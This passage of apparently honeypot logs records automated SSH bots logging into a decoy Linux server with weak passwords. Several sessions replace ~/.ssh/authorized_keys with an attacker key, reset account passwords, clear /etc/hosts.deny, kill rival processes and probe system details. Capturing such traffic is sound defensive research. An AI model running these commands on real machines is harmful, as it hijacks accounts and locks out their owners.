ls)"},{"seq":12,"at":"2026-08-27T11:01:42.777435+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:01:43.233605+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:01:43.591659+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:01:44.068535+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:01:44.709401+00:00","kind":"output","latency_ms":null,"data":" 11:01:44 up 7 days, 7:51, 0 user, load average: 0.32, 0.37, 0.2\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:01:45.166015+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:01:45.476564+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:01:45.938254+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:01:46.507683+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:01:46.967695+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:01:47.276741+00:00","kind":"output","latency_ms":null,"data":"top - 11:01:47 up 7 days, 7:51, 0 user, load average: 0.32, 0.37, 0.2\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:01:47.739585+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:01:48.177392+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:01:48.636283+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:01:49.010644+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:01:49.470875+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:01:49.900310+00:00","kind":"output","latency_ms":null,"data":"manish"},{"seq":29,"at":"2026-08-27T11:01:50.361165+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:01:51.671069+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:01:52.130285+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:01:52.949433+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"manish","password":"password","method":"password","accepted":true,"tier":"other"}]} {"id":"5932f125-89d9-4bdf-b36a-1ec913c4ed94","name":"cheerful-graceful-ptarmigan","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":35232,"username":"rahim","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":259,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:01:46.289962+00:00","ended_at":"2026-08-27T11:01:46.840537+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2050,"events":[{"seq":1,"at":"2026-08-27T11:01:36.834895+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:01:37.095415+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:01:40.746813+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:01:40.747587+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:01:41.006694+00:00","kind":"input","latency_ms":null,"data":"echo -e \"rahim\\nrJC6IBLZUZnI\\nrJC6IBLZUZnI\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:01:41.265592+00:00","kind":"input","latency_ms":null,"data":"echo \"rahim\\nrJC6IBLZUZnI\\nrJC6IBLZUZnI\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:01:41.525157+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:01:41.527231+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:01:41.785194+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:01:42.362590+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:01:42.628316+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:01:43.095477+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:01:43.357914+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:01:43.358657+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:01:43.619680+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:01:43.620345+00:00","kind":"output","latency_ms":null,"data":" 11:01:43 up 7 days, 7:51, 0 user, load average: 0.1, 0.13, 0.09\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:01:43.879888+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:01:43.880375+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:01:44.139483+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:01:44.139995+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:01:44.402872+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:01:44.403861+00:00","kind":"output","latency_ms":null,"data":"top - 11:01:44 up 7 days, 7:51, 0 user, load average: 0.1, 0.13, 0.09\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:01:44.665640+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:01:44.669238+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:01:44.922800+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:01:44.924787+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:01:45.181258+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:01:45.181851+00:00","kind":"output","latency_ms":null,"data":"rahim"},{"seq":29,"at":"2026-08-27T11:01:45.440085+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:01:46.029706+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:01:46.291101+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:01:46.765774+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"rahim","password":"rahim","method":"password","accepted":true,"tier":"other"}]} {"id":"04ea648e-eb3a-4197-afa5-799e6ab971c2","name":"obsidian-bitter-brambling","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":34330,"username":"marco","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":763,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:01:36.654589+00:00","ended_at":"2026-08-27T11:01:38.022511+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2070,"events":[{"seq":1,"at":"2026-08-27T11:01:09.899487+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:01:10.658582+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:01:17.087849+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:01:17.907826+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:01:18.662655+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123\\ngvrVWmig6Yk5\\ngvrVWmig6Yk5\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:01:19.443624+00:00","kind":"input","latency_ms":null,"data":"echo \"123\\ngvrVWmig6Yk5\\ngvrVWmig6Yk5\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:01:20.252538+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:01:20.969010+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:01:21.730543+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:01:22.741257+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:01:23.567247+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:01:24.740785+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:01:25.540590+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:01:25.811836+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:01:26.572821+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:01:26.947757+00:00","kind":"output","latency_ms":null,"data":" 11:01:26 up 7 days, 7:51, 0 user, load average: 0.26, 0.19, 0.25\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:01:27.695588+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:01:28.179808+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:01:28.942643+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:01:29.441773+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:01:30.205630+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:01:30.525170+00:00","kind":"output","latency_ms":null,"data":"top - 11:01:30 up 7 days, 7:51, 0 user, load average: 0.26, 0.19, 0.25\nTasks: 109 total, 1 running, 108 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7467 free, 8420 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:01:31.281093+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:01:31.588416+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:01:32.356823+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:01:32.747602+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:01:33.524311+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:01:34.145288+00:00","kind":"output","latency_ms":null,"data":"marco"},{"seq":29,"at":"2026-08-27T11:01:34.920446+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:01:35.893789+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:01:36.656083+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:01:37.772760+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"marco","password":"123","method":"password","accepted":true,"tier":"other"}]} {"id":"77608f33-c01d-44ce-bba6-fec8bce21a5a","name":"dutiful-tranquil-ibex","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":58746,"username":"sftpuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":455,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T10:59:12.587881+00:00","ended_at":"2026-08-27T10:59:14.024809+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2068,"events":[{"seq":1,"at":"2026-08-27T10:58:56.013679+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T10:58:56.473499+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T10:59:01.500121+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T10:59:01.500912+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T10:59:01.956691+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456\\nw3iQ4bYJM1wS\\nw3iQ4bYJM1wS\"|passwd|bash"},{"seq":6,"at":"2026-08-27T10:59:02.407195+00:00","kind":"input","latency_ms":null,"data":"echo \"123456\\nw3iQ4bYJM1wS\\nw3iQ4bYJM1wS\\n\"|passwd"},{"seq":7,"at":"2026-08-27T10:59:02.863762+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T10:59:02.864650+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T10:59:03.313912+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T10:59:03.796900+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T10:59:04.253410+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T10:59:04.817484+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T10:59:05.276616+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T10:59:05.277233+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T10:59:05.735892+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T10:59:05.736445+00:00","kind":"output","latency_ms":null,"data":" 10:59:05 up 7 days, 7:49, 0 user, load average: 0.35, 0.44, 0.39\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T10:59:06.191746+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T10:59:06.192381+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T10:59:06.649337+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T10:59:06.649820+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T10:59:07.104119+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T10:59:07.977159+00:00","kind":"output","latency_ms":null,"data":"top - 10:59:07 up 7 days, 7:49, 0 user, load average: 0.35, 0.44, 0.39\nTasks: 113 total, 1 running, 112 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9373 free, 6514 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T10:59:08.430173+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T10:59:08.864818+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T10:59:09.319255+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T10:59:09.979835+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T10:59:10.440311+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T10:59:10.765824+00:00","kind":"output","latency_ms":null,"data":"sftpuser"},{"seq":29,"at":"2026-08-27T10:59:11.220453+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T10:59:12.134005+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T10:59:12.588725+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T10:59:13.883437+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"sftpuser","password":"123456","method":"password","accepted":true,"tier":"other"}]} {"id":"5f489023-1027-4c61-b7d2-92cb12f9752c","name":"subtle-peaty-lemur","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":53066,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":743,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T10:59:04.382355+00:00","ended_at":"2026-08-27T10:59:05.668772+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2117,"events":[{"seq":1,"at":"2026-08-27T10:58:40.726726+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T10:58:41.480554+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T10:58:48.177281+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T10:58:48.177955+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T10:58:48.922251+00:00","kind":"input","latency_ms":null,"data":"echo \"root:VlfpixvWNhOl\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T10:58:49.668474+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T10:58:50.407702+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T10:58:50.408157+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T10:58:51.151357+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T10:58:51.645596+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T10:58:52.398720+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T10:58:53.008258+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T10:58:53.753327+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T10:58:53.753815+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T10:58:54.496098+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T10:58:54.496760+00:00","kind":"output","latency_ms":null,"data":" 10:58:54 up 7 days, 7:49, 0 user, load average: 0.12, 0.09, 0.13\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T10:58:55.243626+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T10:58:55.529506+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T10:58:56.272454+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T10:58:56.652205+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T10:58:57.408838+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T10:58:57.810968+00:00","kind":"output","latency_ms":null,"data":"top - 10:58:57 up 7 days, 7:49, 0 user, load average: 0.12, 0.09, 0.13\nTasks: 123 total, 1 running, 122 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T10:58:58.560874+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T10:58:59.147297+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T10:58:59.887648+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T10:59:00.388798+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T10:59:01.133525+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T10:59:01.896190+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T10:59:02.636904+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T10:59:03.641163+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T10:59:04.383423+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print 